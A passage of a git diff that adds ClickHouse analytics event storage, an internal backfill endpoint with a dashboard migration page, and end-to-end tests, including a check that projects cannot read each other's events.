+    user_id          String,
+    team_id          String,
+    refresh_token_id String,
+    is_anonymous     Boolean,
+    session_id       String,
+    ip_address       String,
+    created_at DateTime64(3, 'UTC') DEFAULT now64(3)
+)
+ENGINE MergeTree
+PARTITION BY toYYYYMM(event_at)
+ORDER BY (project_id, branch_id, event_at);
+`;
diff --git a/apps/backend/scripts/db-migrations.ts b/apps/backend/scripts/db-migrations.ts
index a37e5ed796..5029b089ca 100644
--- a/apps/backend/scripts/db-migrations.ts
+++ b/apps/backend/scripts/db-migrations.ts
@@ -1,5 +1,6 @@
 import { applyMigrations } from "@/auto-migrations";
 import { MIGRATION_FILES_DIR, getMigrationFiles } from "@/auto-migrations/utils";
+import { clickhouseAdminClient, createClickhouseClient } from "@/lib/clickhouse";
 import { globalPrismaClient, globalPrismaSchema, sqlQuoteIdent } from "@/prisma-client";
 import { Prisma } from "@prisma/client";
 import { spawnSync } from "child_process";
@@ -10,11 +11,15 @@ import { seed } from "../prisma/seed";
 import { getEnvVariable } from "@stackframe/stack-shared/dist/utils/env";
 import { runClickhouseMigrations } from "./clickhouse-migrations";
 
+const clickhouseClient = createClickhouseClient("admin");
+
 const dropSchema = async () => {
   await globalPrismaClient.$executeRaw(Prisma.sql`DROP SCHEMA ${sqlQuoteIdent(globalPrismaSchema)} CASCADE`);
   await globalPrismaClient.$executeRaw(Prisma.sql`CREATE SCHEMA ${sqlQuoteIdent(globalPrismaSchema)}`);
   await globalPrismaClient.$executeRaw(Prisma.sql`GRANT ALL ON SCHEMA ${sqlQuoteIdent(globalPrismaSchema)} TO postgres`);
   await globalPrismaClient.$executeRaw(Prisma.sql`GRANT ALL ON SCHEMA ${sqlQuoteIdent(globalPrismaSchema)} TO public`);
+  await clickhouseClient.command({ query: "DROP DATABASE analytics" });
+  await clickhouseClient.command({ query: "CREATE DATABASE IF NOT EXISTS analytics" });
 };
 
 
diff --git a/apps/backend/src/app/api/latest/internal/analytics/query/route.ts b/apps/backend/src/app/api/latest/internal/analytics/query/route.ts
index 5d8f938767..ea3d868224 100644
--- a/apps/backend/src/app/api/latest/internal/analytics/query/route.ts
+++ b/apps/backend/src/app/api/latest/internal/analytics/query/route.ts
@@ -2,6 +2,7 @@ import { clickhouseExternalClient, getQueryTimingStats } from "@/lib/clickhouse"
 import { createSmartRouteHandler } from "@/route-handlers/smart-route-handler";
 import { KnownErrors } from "@stackframe/stack-shared";
 import { adaptSchema, jsonSchema, adminAuthTypeSchema, yupBoolean, yupMixed, yupNumber, yupObject, yupRecord, yupString } from "@stackframe/stack-shared/dist/schema-fields";
+import { StackAssertionError } from "@stackframe/stack-shared/dist/utils/errors";
 import { Result } from "@stackframe/stack-shared/dist/utils/results";
 import { randomUUID } from "crypto";
 
@@ -31,6 +32,9 @@ export const POST = createSmartRouteHandler({
     }).defined(),
   }),
   async handler({ body, auth }) {
+    if (body.include_all_branches) {
+      throw new StackAssertionError("include_all_branches is not supported yet");
+    }
     const client = clickhouseExternalClient;
     const queryId = randomUUID();
     const resultSet = await Result.fromPromise(client.query({
@@ -38,7 +42,8 @@ export const POST = createSmartRouteHandler({
       query_id: queryId,
       query_params: body.params,
       clickhouse_settings: {
-        SQL_tenancy_id: auth.tenancy.id,
+        SQL_project_id: auth.tenancy.project.id,
+        SQL_branch_id: auth.tenancy.branchId,
         max_execution_time: body.timeout_ms / 1000,
       },
       format: "JSONEachRow",
diff --git a/apps/backend/src/app/api/latest/internal/clickhouse/migrate-events/route.tsx b/apps/backend/src/app/api/latest/internal/clickhouse/migrate-events/route.tsx
new file mode 100644
index 0000000000..34d29df28a
--- /dev/null
+++ b/apps/backend/src/app/api/latest/internal/clickhouse/migrate-events/route.tsx
@@ -0,0 +1,208 @@
+import { clickhouseAdminClient, createClickhouseClient } from "@/lib/clickhouse";
+import { DEFAULT_BRANCH_ID } from "@/lib/tenancies";
+import { globalPrismaClient } from "@/prisma-client";
+import { createSmartRouteHandler } from "@/route-handlers/smart-route-handler";
+import { yupNumber, yupObject, yupString } from "@stackframe/stack-shared/dist/schema-fields";
+import { StatusError } from "@stackframe/stack-shared/dist/utils/errors";
+import type { Prisma } from "@prisma/client";
+
+type Cursor = {
+  created_at_millis: number,
+  id: string,
+};
+
+const parseMillisOrThrow = (value: number | undefined, field: string) => {
+  if (typeof value !== "number" || !Number.isFinite(value)) {
+    throw new StatusError(400, `Invalid ${field}`);
+  }
+  const parsed = new Date(value);
+  if (Number.isNaN(parsed.getTime())) {
+    throw new StatusError(400, `Invalid ${field}`);
+  }
+  return parsed;
+};
+
+const createClickhouseRows = (event: {
+  id: string,
+  systemEventTypeIds: string[],
+  data: any,
+  eventEndedAt: Date,
+  eventStartedAt: Date,
+  isWide: boolean,
+}) => {
+  const dataRecord = typeof event.data === "object" && event.data !== null ? event.data as Record<string, unknown> : {};
+  const clickhouseEventData = {
+    ...dataRecord,
+    is_wide: event.isWide,
+    event_started_at: event.eventStartedAt,
+    event_ended_at: event.eventEndedAt,
+  };
+  const projectId = typeof dataRecord.projectId === "string" ? dataRecord.projectId : "";
+  const branchId = DEFAULT_BRANCH_ID;
+  const userId = typeof dataRecord.userId === "string" ? dataRecord.userId : "";
+  const teamId = typeof dataRecord.teamId === "string" ? dataRecord.teamId : "";
+  const sessionId = typeof dataRecord.sessionId === "string" ? dataRecord.sessionId : "";
+  const isAnonymous = typeof dataRecord.isAnonymous === "boolean" ? dataRecord.isAnonymous : false;
+
+  const eventTypes = [...new Set(event.systemEventTypeIds)];
+
+  return eventTypes.map(eventType => ({
+    event_type: eventType,
+    event_at: event.eventEndedAt,
+    data: clickhouseEventData,
+    project_id: projectId,
+    branch_id: branchId,
+    user_id: userId,
+    team_id: teamId,
+    session_id: sessionId,
+    is_anonymous: isAnonymous,
+  }));
+};
+
+export const POST = createSmartRouteHandler({
+  metadata: {
+    summary: "Migrate analytics events from Postgres to ClickHouse",
+    description: "Internal-only endpoint to backfill existing events into ClickHouse.",
+    hidden: true,
+  },
+  request: yupObject({
+    auth: yupObject({
+      project: yupObject({
+        id: yupString().oneOf(["internal"]).defined(),
+      }).defined(),
+      user: yupObject({
+        id: yupString().defined(),
+      }).optional(),
+    }).defined(),
+    body: yupObject({
+      min_created_at_millis: yupNumber().integer().defined(),
+      max_created_at_millis: yupNumber().integer().defined(),
+      cursor: yupObject({
+        created_at_millis: yupNumber().integer().defined(),
+        id: yupString().uuid().defined(),
+      }).optional(),
+      limit: yupNumber().integer().min(1).default(1000),
+    }).defined(),
+  }),
+  response: yupObject({
+    statusCode: yupNumber().oneOf([200]).defined(),
+    bodyType: yupString().oneOf(["json"]).defined(),
+    body: yupObject({
+      total_events: yupNumber().defined(),
+      processed_events: yupNumber().defined(),
+      remaining_events: yupNumber().defined(),
+      migrated_events: yupNumber().defined(),
+      skipped_existing_events: yupNumber().defined(),
+      inserted_rows: yupNumber().defined(),
+      progress: yupNumber().min(0).max(1).defined(),
+      next_cursor: yupObject({
+        created_at_millis: yupNumber().integer().defined(),
+        id: yupString().defined(),
+      }).nullable().defined(),
+    }).defined(),
+  }),
+  async handler({ body }) {
+    const minCreatedAt = parseMillisOrThrow(body.min_created_at_millis, "min_created_at_millis");
+    const maxCreatedAt = parseMillisOrThrow(body.max_created_at_millis, "max_created_at_millis");
+    if (minCreatedAt >= maxCreatedAt) {
+      throw new StatusError(400, "min_created_at_millis must be before max_created_at_millis");
+    }
+    const cursorCreatedAt = body.cursor ? parseMillisOrThrow(body.cursor.created_at_millis, "cursor.created_at_millis") : undefined;
+    const cursorId = body.cursor?.id;
+    const limit = body.limit;
+
+    const baseWhere: Prisma.EventWhereInput = {
+      createdAt: {
+        gte: minCreatedAt,
+        lt: maxCreatedAt,
+      },
+    };
+
+    const cursorFilter: Prisma.EventWhereInput | undefined = (cursorCreatedAt && cursorId) ? {
+      OR: [
+        { createdAt: { gt: cursorCreatedAt } },
+        { createdAt: cursorCreatedAt, id: { gt: cursorId } },
+      ],
+    } : undefined;
+
+    const where: Prisma.EventWhereInput = cursorFilter
+      ? { AND: [baseWhere, cursorFilter] }
+      : baseWhere;
+
+    const totalEvents = await globalPrismaClient.event.count({ where: baseWhere });
+
+    const events = await globalPrismaClient.event.findMany({
+      where,
+      orderBy: [
+        { createdAt: "asc" },
+        { id: "asc" },
+      ],
+      take: limit,
+    });
+
+    let insertedRows = 0;
+    let migratedEvents = 0;
+
+    if (events.length) {
+      const clickhouseClient = clickhouseAdminClient;
+      const rowsByEvent = events.map(createClickhouseRows);
+      const rowsToInsert = rowsByEvent.flat();
+      migratedEvents = rowsByEvent.reduce((acc, rows) => acc + (rows.length ? 1 : 0), 0);
+
+      if (rowsToInsert.length) {
+        await clickhouseClient.insert({
+          table: "events",
+          values: rowsToInsert,
+          format: "JSONEachRow",
+          clickhouse_settings: {
+            date_time_input_format: "best_effort",
+            async_insert: 1,
+          },
+        });
+        insertedRows = rowsToInsert.length;
+      }
+    }
+
+    const lastEvent = events.at(-1);
+    const nextCursor: Cursor | null = lastEvent ? {
+      created_at_millis: lastEvent.createdAt.getTime(),
+      id: lastEvent.id,
+    } : null;
+    const progressCursor: Cursor | null = nextCursor ?? (cursorCreatedAt && body.cursor ? {
+      created_at_millis: body.cursor.created_at_millis,
+      id: body.cursor.id,
+    } : null);
+
+    const progressCursorCreatedAt = progressCursor ? new Date(progressCursor.created_at_millis) : null;
+    const remainingWhere = progressCursor ? {
+      AND: [
+        baseWhere,
+        {
+          OR: [
+            { createdAt: { gt: progressCursorCreatedAt! } },
+            { createdAt: progressCursorCreatedAt!, id: { gt: progressCursor.id } },
+          ],
+        },
+      ],
+    } : baseWhere;
+
+    const remainingEvents = await globalPrismaClient.event.count({ where: remainingWhere });
+    const processedEvents = totalEvents - remainingEvents;
+    const progress = totalEvents === 0 ? 1 : processedEvents / totalEvents;
+
+    return {
+      statusCode: 200,
+      bodyType: "json",
+      body: {
+        total_events: totalEvents,
+        processed_events: processedEvents,
+        remaining_events: remainingEvents,
+        migrated_events: migratedEvents,
+        skipped_existing_events: 0,
+        inserted_rows: insertedRows,
+        progress,
+        next_cursor: nextCursor,
+      },
+    };
+  },
+});
diff --git a/apps/backend/src/lib/clickhouse.tsx b/apps/backend/src/lib/clickhouse.tsx
index 785db49d64..11d9a1ec6a 100644
--- a/apps/backend/src/lib/clickhouse.tsx
+++ b/apps/backend/src/lib/clickhouse.tsx
@@ -9,17 +9,17 @@ const clickhouseAdminPassword = getEnvVariable("STACK_CLICKHOUSE_ADMIN_PASSWORD"
 const clickhouseExternalPassword = getEnvVariable("STACK_CLICKHOUSE_EXTERNAL_PASSWORD");
 const clickhouseDatabase = getEnvVariable("STACK_CLICKHOUSE_DATABASE", "analytics");
 
-export function createClickhouseClient(authType: "admin" | "external") {
+export function createClickhouseClient(authType: "admin" | "external", database?: string) {
   return createClient({
     url: clickhouseUrl,
     username: authType === "admin" ? clickhouseAdminUser : clickhouseExternalUser,
     password: authType === "admin" ? clickhouseAdminPassword : clickhouseExternalPassword,
-    database: clickhouseDatabase,
+    database,
   });
 }
 
-export const clickhouseAdminClient = createClickhouseClient("admin");
-export const clickhouseExternalClient = createClickhouseClient("external");
+export const clickhouseAdminClient = createClickhouseClient("admin", clickhouseDatabase);
+export const clickhouseExternalClient = createClickhouseClient("external", clickhouseDatabase);
 
 export const getQueryTimingStats = async (client: ClickHouseClient, queryId: string) => {
   // Flush logs to ensure system.query_log has latest query result.
diff --git a/apps/backend/src/lib/events.tsx b/apps/backend/src/lib/events.tsx
index 8c6e321e91..5ebe124e2c 100644
--- a/apps/backend/src/lib/events.tsx
+++ b/apps/backend/src/lib/events.tsx
@@ -9,6 +9,7 @@ import { filterUndefined, typedKeys } from "@stackframe/stack-shared/dist/utils/
 import { UnionToIntersection } from "@stackframe/stack-shared/dist/utils/types";
 import { generateUuid } from "@stackframe/stack-shared/dist/utils/uuids";
 import * as yup from "yup";
+import { clickhouseAdminClient } from "./clickhouse";
 import { getEndUserInfo } from "./end-users";
 import { DEFAULT_BRANCH_ID } from "./tenancies";
 
@@ -51,6 +52,7 @@ const UserActivityEventType = {
     userId: yupString().uuid().defined(),
     // old events of this type may not have an isAnonymous field, so we default to false
     isAnonymous: yupBoolean().defined().default(false),
+    teamId: yupString().optional().default(""),
   }),
   inherits: [ProjectActivityEventType],
 } as const satisfies SystemEventTypeBase;
@@ -152,6 +154,20 @@ export async function logEvent<T extends EventType[]>(
   // get end user information
   const endUserInfo = await getEndUserInfo();  // this is a dynamic API, can't run it asynchronously
   const endUserInfoInner = endUserInfo?.maybeSpoofed ? endUserInfo.spoofedInfo : endUserInfo?.exactInfo;
+  const eventTypesArray = [...allEventTypes];
+  const clickhouseEventData = {
+    ...data as Record<string, unknown>,
+    is_wide: isWide,
+    event_started_at: timeRange.start,
+    event_ended_at: timeRange.end,
+  };
+  const dataRecord = data as Record<string, unknown> | null | undefined;
+  const projectId = typeof dataRecord === "object" && dataRecord && typeof dataRecord.projectId === "string" ? dataRecord.projectId : "";
+  const branchId = typeof dataRecord === "object" && dataRecord && typeof dataRecord.branchId === "string" ? dataRecord.branchId : DEFAULT_BRANCH_ID;
+  const userId = typeof dataRecord === "object" && dataRecord && typeof dataRecord.userId === "string" ? dataRecord.userId : "";
+  const teamId = typeof dataRecord === "object" && dataRecord && typeof dataRecord.teamId === "string" ? dataRecord.teamId : "";
+  const sessionId = typeof dataRecord === "object" && dataRecord && typeof dataRecord.sessionId === "string" ? dataRecord.sessionId : "";
+  const isAnonymous = typeof dataRecord === "object" && dataRecord && typeof dataRecord.isAnonymous === "boolean" ? dataRecord.isAnonymous : false;
 
 
   // rest is no more dynamic APIs so we can run it asynchronously
@@ -159,7 +175,7 @@ export async function logEvent<T extends EventType[]>(
     // log event in DB
     await globalPrismaClient.event.create({
       data: {
-        systemEventTypeIds: [...allEventTypes].map(eventType => eventType.id),
+        systemEventTypeIds: eventTypesArray.map(eventType => eventType.id),
         data: data as any,
         isEndUserIpInfoGuessTrusted: !endUserInfo?.maybeSpoofed,
         endUserIpInfoGuess: endUserInfoInner ? {
@@ -179,6 +195,27 @@ export async function logEvent<T extends EventType[]>(
       },
     });
 
+    const clickhouseClient = clickhouseAdminClient;
+    await clickhouseClient.insert({
+      table: "events",
+      values: eventTypesArray.map(eventType => ({
+        event_type: eventType.id,
+        event_at: timeRange.end,
+        data: clickhouseEventData,
+        project_id: projectId,
+        branch_id: branchId,
+        user_id: userId,
+        team_id: teamId,
+        is_anonymous: isAnonymous,
+        session_id: sessionId,
+      })),
+      format: "JSONEachRow",
+      clickhouse_settings: {
+        date_time_input_format: "best_effort",
+        async_insert: 1,
+      },
+    });
+
     // log event in PostHog
     if (getNodeEnvironment().includes("production") && !getEnvVariable("CI", "")) {
       await withPostHog(async posthog => {
diff --git a/apps/backend/src/lib/tokens.tsx b/apps/backend/src/lib/tokens.tsx
index 173c28f48d..4b5f2e4eb8 100644
--- a/apps/backend/src/lib/tokens.tsx
+++ b/apps/backend/src/lib/tokens.tsx
@@ -166,6 +166,7 @@ export async function generateAccessTokenFromRefreshTokenIfValid(options: {
       userId: options.refreshTokenObj.projectUserId,
       sessionId: options.refreshTokenObj.id,
       isAnonymous: user.is_anonymous,
+      teamId: "",
     }
   );
 
diff --git a/apps/dashboard/src/app/(main)/(protected)/projects/[projectId]/clickhouse-migration/page-client.tsx b/apps/dashboard/src/app/(main)/(protected)/projects/[projectId]/clickhouse-migration/page-client.tsx
new file mode 100644
index 0000000000..e855f1a254
--- /dev/null
+++ b/apps/dashboard/src/app/(main)/(protected)/projects/[projectId]/clickhouse-migration/page-client.tsx
@@ -0,0 +1,269 @@
+"use client";
+
+import { ClickhouseMigrationRequest, ClickhouseMigrationResponse } from "@stackframe/stack-shared/dist/interface/admin-interface";
+import { Button, Card, CardContent, CardHeader, CardTitle, Input, Typography, Alert } from "@stackframe/stack-ui";
+import React from "react";
+import { PageLayout } from "../page-layout";
+import { useAdminApp } from "../use-admin-app";
+import { notFound } from "next/navigation";
+
+type MigrationCursor = {
+  createdAtMillis: number,
+  id: string,
+};
+
+type MigrationSnapshot = {
+  totalEvents: number,
+  processedEvents: number,
+  remainingEvents: number,
+  migratedEvents: number,
+  skippedExistingEvents: number,
+  insertedRows: number,
+  progress: number,
+  nextCursor: MigrationCursor | null,
+};
+
+const normalizeResponse = (response: ClickhouseMigrationResponse): MigrationSnapshot => ({
+  totalEvents: response.total_events,
+  processedEvents: response.processed_events,
+  remainingEvents: response.remaining_events,
+  migratedEvents: response.migrated_events,
+  skippedExistingEvents: response.skipped_existing_events,
+  insertedRows: response.inserted_rows,
+  progress: response.progress,
+  nextCursor: response.next_cursor ? {
+    createdAtMillis: response.next_cursor.created_at_millis,
+    id: response.next_cursor.id,
+  } : null,
+});
+
+export default function PageClient() {
+  const stackAdminApp = useAdminApp();
+  const adminInterface = React.useMemo(() => (stackAdminApp as any)._interface as {
+    migrateEventsToClickhouse: (options: ClickhouseMigrationRequest) => Promise<ClickhouseMigrationResponse>,
+  }, [stackAdminApp]);
+
+  const [minCreatedAt, setMinCreatedAt] = React.useState("");
+  const [maxCreatedAt, setMaxCreatedAt] = React.useState("");
+  const [limit, setLimit] = React.useState(1000);
+  const [stats, setStats] = React.useState<MigrationSnapshot | null>(null);
+  const [cursor, setCursor] = React.useState<MigrationCursor | null>(null);
+  const [running, setRunning] = React.useState(false);
+  const runningRef = React.useRef(false);
+  const cursorRef = React.useRef<MigrationCursor | null>(null);
+  const timeWindowRef = React.useRef<{ minCreatedAtMillis: number, maxCreatedAtMillis: number } | null>(null);
+  const [error, setError] = React.useState<string | null>(null);
+
+  const parseCreatedAtMillis = React.useCallback((value: string | undefined) => {
+    if (!value) return null;
+    const trimmed = value.trim();
+    if (!trimmed) return null;
+    if (/^-?\d+$/.test(trimmed)) {
+      const parsed = Number(trimmed);
+      return Number.isFinite(parsed) ? parsed : null;
+    }
+    const parsed = new Date(trimmed).getTime();
+    return Number.isNaN(parsed) ? null : parsed;
+  }, []);
+
+  const buildRequestBody = React.useCallback(() => {
+    const safeLimit = Number.isFinite(limit) && limit > 0 ? Math.min(1000, limit) : 1000;
+    const minCreatedAtMillis = timeWindowRef.current?.minCreatedAtMillis ?? parseCreatedAtMillis(minCreatedAt);
+    const maxCreatedAtMillis = timeWindowRef.current?.maxCreatedAtMillis ?? parseCreatedAtMillis(maxCreatedAt);
+    if (minCreatedAtMillis === null || maxCreatedAtMillis === null) {
+      throw new Error("Please provide valid unix millis (Date.now()) or ISO/datetime-local values for min/max created at.");
+    }
+    return {
+      min_created_at_millis: minCreatedAtMillis,
+      max_created_at_millis: maxCreatedAtMillis,
+      cursor: cursorRef.current ? {
+        created_at_millis: cursorRef.current.createdAtMillis,
+        id: cursorRef.current.id,
+      } : undefined,
+      limit: safeLimit,
+    };
+  }, [limit, maxCreatedAt, minCreatedAt, parseCreatedAtMillis]);
+
+  const runBatch = React.useCallback(async () => {
+    const response = await adminInterface.migrateEventsToClickhouse(buildRequestBody());
+    const snapshot = normalizeResponse(response);
+    setStats(snapshot);
+    cursorRef.current = snapshot.nextCursor;
+    setCursor(snapshot.nextCursor);
+    return snapshot;
+  }, [adminInterface, buildRequestBody]);
+
+  const stopMigration = React.useCallback(() => {
+    runningRef.current = false;
+    setRunning(false);
+  }, []);
+
+  const resetMigration = React.useCallback(() => {
+    stopMigration();
+    cursorRef.current = null;
+    timeWindowRef.current = null;
+    setCursor(null);
+    setStats(null);
+    setError(null);
+  }, [stopMigration]);
+
+  const startMigration = React.useCallback(async () => {
+    if (runningRef.current) return;
+    const minCreatedAtMillis = parseCreatedAtMillis(minCreatedAt);
+    const maxCreatedAtMillis = parseCreatedAtMillis(maxCreatedAt);
+    if (minCreatedAtMillis === null || maxCreatedAtMillis === null) {
+      setError("Please provide valid unix millis (Date.now()) or ISO/datetime-local values for min/max created at.");
+      return;
+    }
+    if (minCreatedAtMillis >= maxCreatedAtMillis) {
+      setError("Min created at must be before max created at.");
+      return;
+    }
+    setError(null);
+    timeWindowRef.current = { minCreatedAtMillis, maxCreatedAtMillis };
+    runningRef.current = true;
+    setRunning(true);
+
+    try {
+      while (runningRef.current) {
+        const snapshot = await runBatch();
+        if (!snapshot.nextCursor) {
+          stopMigration();
+          break;
+        }
+      }
+    } catch (e: any) {
+      setError(e?.message ?? "Migration failed");
+      stopMigration();
+    }
+  }, [maxCreatedAt, minCreatedAt, parseCreatedAtMillis, runBatch, stopMigration]);
+
+  const progressPercent = Math.min(100, Math.max(0, Math.round((stats?.progress ?? 0) * 100)));
+
+  if (stackAdminApp.projectId !== "internal") {
+    return notFound();
+  }
+
+  return (
+    <PageLayout
+      title="ClickHouse Event Migration"
+      description="Backfill historical events from Postgres into ClickHouse. Intended for internal use only."
+      fillWidth
+    >
+      <div className="flex flex-col gap-4">
+        <Card className="xl:col-span-2">
+          <CardHeader>
+            <CardTitle>Controls</CardTitle>
+          </CardHeader>
+          <CardContent className="flex flex-col gap-4">
+            <div className="grid grid-cols-1 md:grid-cols-2 gap-4">
+              <div className="space-y-2">
+                <Typography type="label">Min created at (unix millis or ISO/datetime-local)</Typography>
+                <Input
+                  type="text"
+                  value={minCreatedAt}
+                  onChange={(e) => {
+                    setMinCreatedAt(e.target.value);
+                    resetMigration();
+                  }}
+                  placeholder="1735689600000 or 2024-08-01T00:00"
+                />
+              </div>
+              <div className="space-y-2">
+                <Typography type="label">Max created at (use to exclude new dual-written events)</Typography>
+                <Input
+                  type="text"
+                  value={maxCreatedAt}
+                  onChange={(e) => {
+                    setMaxCreatedAt(e.target.value);
+                    resetMigration();
+                  }}
+                  placeholder="1767225600000 or 2024-12-01T00:00"
+                />
+              </div>
+              <div className="space-y-2">
+                <Typography type="label">Batch size</Typography>
+                <Input
+                  type="number"
+                  min={1}
+                  max={1000}
+                  value={limit}
+                  onChange={(e) => {
+                    setLimit(Number(e.target.value) || 0);
+                    resetMigration();
+                  }}
+                />
+              </div>
+              <div className="space-y-2">
+                <Typography type="label">Cursor</Typography>
+                <Typography variant="secondary" className="text-sm break-all">
+                  {cursor ? `${cursor.createdAtMillis} · ${cursor.id}` : "Not started"}
+                </Typography>
+              </div>
+            </div>
+
+            {error && (
+              <Alert variant="destructive">{error}</Alert>
+            )}
+
+            <div className="flex flex-wrap gap-2">
+              <Button onClick={startMigration} disabled={running} loading={running}>
+                {running ? "Running" : "Start / Resume"}
+              </Button>
+              <Button onClick={stopMigration} variant="secondary" disabled={!running}>
+                Stop
+              </Button>
+              <Button onClick={resetMigration} variant="ghost">
+                Reset cursor
+              </Button>
+            </div>
+          </CardContent>
+        </Card>
+
+        <Card>
+          <CardHeader>
+            <CardTitle>Status</CardTitle>
+          </CardHeader>
+          <CardContent className="space-y-3">
+            <div className="h-3 w-full rounded-full bg-muted">
+              <div
+                className="h-3 rounded-full bg-gradient-to-r from-blue-500 to-emerald-500"
+                style={{ width: `${progressPercent}%` }}
+              />
+            </div>
+            <div className="flex items-center justify-between">
+              <Typography variant="secondary">Progress</Typography>
+              <Typography type="label">{progressPercent}%</Typography>
+            </div>
+            <div className="grid grid-cols-2 gap-3 text-sm">
+              <div>
+                <Typography variant="secondary">Processed</Typography>
+                <Typography type="label">{stats?.processedEvents ?? 0}</Typography>
+              </div>
+              <div>
+                <Typography variant="secondary">Remaining</Typography>
+                <Typography type="label">{stats?.remainingEvents ?? 0}</Typography>
+              </div>
+              <div>
+                <Typography variant="secondary">Migrated this run</Typography>
+                <Typography type="label">{stats?.migratedEvents ?? 0}</Typography>
+              </div>
+              <div>
+                <Typography variant="secondary">Inserted rows</Typography>
+                <Typography type="label">{stats?.insertedRows ?? 0}</Typography>
+              </div>
+              <div>
+                <Typography variant="secondary">Total in scope</Typography>
+                <Typography type="label">{stats?.totalEvents ?? 0}</Typography>
+              </div>
+              <div className="">
+                <Typography variant="secondary">State</Typography>
+                <Typography type="label">{running ? "Running" : "Idle"}</Typography>
+              </div>
+            </div>
+          </CardContent>
+        </Card>
+      </div>
+    </PageLayout>
+  );
+}
diff --git a/apps/dashboard/src/app/(main)/(protected)/projects/[projectId]/clickhouse-migration/page.tsx b/apps/dashboard/src/app/(main)/(protected)/projects/[projectId]/clickhouse-migration/page.tsx
new file mode 100644
index 0000000000..0c48ee3379
--- /dev/null
+++ b/apps/dashboard/src/app/(main)/(protected)/projects/[projectId]/clickhouse-migration/page.tsx
@@ -0,0 +1,9 @@
+import PageClient from "./page-client";
+
+export const metadata = {
+  title: "ClickHouse Event Migration",
+};
+
+export default function Page() {
+  return <PageClient />;
+}
diff --git a/apps/e2e/tests/backend/endpoints/api/v1/analytics-events.test.ts b/apps/e2e/tests/backend/endpoints/api/v1/analytics-events.test.ts
new file mode 100644
index 0000000000..3315294748
--- /dev/null
+++ b/apps/e2e/tests/backend/endpoints/api/v1/analytics-events.test.ts
@@ -0,0 +1,150 @@
+import { wait } from "@stackframe/stack-shared/dist/utils/promises";
+import { it } from "../../../../helpers";
+import { Auth, Project, Team, backendContext, bumpEmailAddress, niceBackendFetch } from "../../../backend-helpers";
+
+const queryEvents = async (params: {
+  userId?: string,
+  teamId?: string,
+  eventType?: string,
+}) => await niceBackendFetch("/api/v1/internal/analytics/query", {
+  method: "POST",
+  accessType: "admin",
+  body: {
+    query: `
+      SELECT event_type, project_id, branch_id, user_id, team_id
+      FROM events
+      WHERE 1
+        ${params.userId ? "AND user_id = {user_id:String}" : ""}
+        ${params.teamId ? "AND team_id = {team_id:String}" : ""}
+        ${params.eventType ? "AND event_type = {event_type:String}" : ""}
+      ORDER BY event_at DESC
+      LIMIT 10
+    `,
+    params: {
+      ...(params.userId ? { user_id: params.userId } : {}),
+      ...(params.teamId ? { team_id: params.teamId } : {}),
+      ...(params.eventType ? { event_type: params.eventType } : {}),
+    },
+  },
+});
+
+const fetchEventsWithRetry = async (
+  params: { userId?: string, teamId?: string, eventType?: string },
+  options: { attempts?: number, delayMs?: number } = {}
+) => {
+  const attempts = options.attempts ?? 5;
+  const delayMs = options.delayMs ?? 250;
+
+  let response = await queryEvents(params);
+  for (let attempt = 1; attempt < attempts; attempt++) {
+    if (response.status !== 200) {
+      break;
+    }
+    const results = Array.isArray(response.body?.result) ? response.body.result : [];
+    if (results.length > 0) {
+      break;
+    }
+    await wait(delayMs);
+    response = await queryEvents(params);
+  }
+
+  return response;
+};
+
+
+it("stores backend events in ClickHouse", async ({ expect }) => {
+  const { projectId } = await Project.createAndSwitch({ config: { magic_link_enabled: true } });
+  const { userId } = await Auth.Otp.signIn();
+
+  const fetchEvents = async () => await queryEvents({
+    userId,
+    eventType: "$session-activity",
+  });
+
+  let queryResponse = await fetchEvents();
+  for (let attempt = 0; attempt < 3; attempt++) {
+    if (queryResponse.status !== 200) {
+      throw new Error(`Analytics query failed: ${JSON.stringify(queryResponse.body)}`);
+    }
+    const results = Array.isArray(queryResponse.body?.result) ? queryResponse.body.result : [];
+    if (results.length > 0) {
+      break;
+    }
+    await wait(500);
+    queryResponse = await fetchEvents();
+  }
+
+  expect(queryResponse.status).toBe(200);
+  const results = Array.isArray(queryResponse.body?.result) ? queryResponse.body.result : [];
+  expect(results.length).toBeGreaterThan(0);
+  expect(results[0]).toMatchObject({
+    event_type: "$session-activity",
+    project_id: projectId,
+    branch_id: "main",
+    user_id: userId,
+  });
+});
+
+it("cannot read events from other projects", async ({ expect }) => {
+  const projectA = await Project.createAndSwitch({ config: { magic_link_enabled: true } });
+  const projectAKeys = backendContext.value.projectKeys;
+  await Auth.Otp.signIn();
+
+  // Switch to another project and generate its own event
+  const projectB = await Project.createAndSwitch({ config: { magic_link_enabled: true } });
+  const { userId: projectBUserId } = await Auth.Otp.signIn();
+  const ensureProjectBEvent = async () => {
+    let response = await queryEvents({
+      userId: projectBUserId,
+      eventType: "$session-activity",
+    });
+    for (let attempt = 0; attempt < 3 && Array.isArray(response.body?.result) && response.body.result.length === 0; attempt++) {
+      await wait(250);
+      response = await queryEvents({
+        userId: projectBUserId,
+        eventType: "$session-activity",
+      });
+    }
+    expect(response.status).toBe(200);
+    const results = Array.isArray(response.body?.result) ? response.body.result : [];
+    expect(results.length).toBeGreaterThan(0);
+  };
+  await ensureProjectBEvent();
+
+  // Switch back to project A context
+  backendContext.set({ projectKeys: projectAKeys, userAuth: null });
+
+  const queryResponse = await queryEvents({
+    userId: projectBUserId,
+    eventType: "$session-activity",
+  });
+
+  expect(queryResponse.status).toBe(200);
+  const results = Array.isArray(queryResponse.body?.result) ? queryResponse.body.result : [];
+  expect(results.length).toBe(0);
+});
+
+it("filters analytics events by user within a project", async ({ expect }) => {
+  await Project.createAndSwitch({ config: { magic_link_enabled: true } });
+  const { userId: userA } = await Auth.Otp.signIn();
+  await bumpEmailAddress();
+  const { userId: userB } = await Auth.Otp.signIn();
+
+  const userAResponse = await fetchEventsWithRetry({
+    userId: userA,
+    eventType: "$session-activity",
+  });
+  expect(userAResponse.status).toBe(200);
+  const userAResults = Array.isArray(userAResponse.body?.result) ? userAResponse.body.result : [];
+  expect(userAResults.length).toBeGreaterThan(0);
+  expect(userAResults.every((row: any) => row.user_id === userA)).toBe(true);
+
+  const userBResponse = await fetchEventsWithRetry({
+    userId: userB,
+    eventType: "$session-activity",
+  });
+  expect(userBResponse.status).toBe(200);
+  const userBResults = Array.isArray(userBResponse.body?.result) ? userBResponse.body.result : [];
+  expect(userBResults.length).toBeGreaterThan(0);
+  expect(userBResults.every((row: any) => row.user_id === userB)).toBe(true);
+});
diff --git a/apps/e2e/tests/backend/endpoints/api/v1/analytics-query.test.ts b/apps/e2e/tests/backend/endpoints/api/v1/analytics-query.test.ts
index 59e2d5bdb1..ce57179436 100644
--- a/apps/e2e/tests/backend/endpoints/api/v1/analytics-query.test.ts
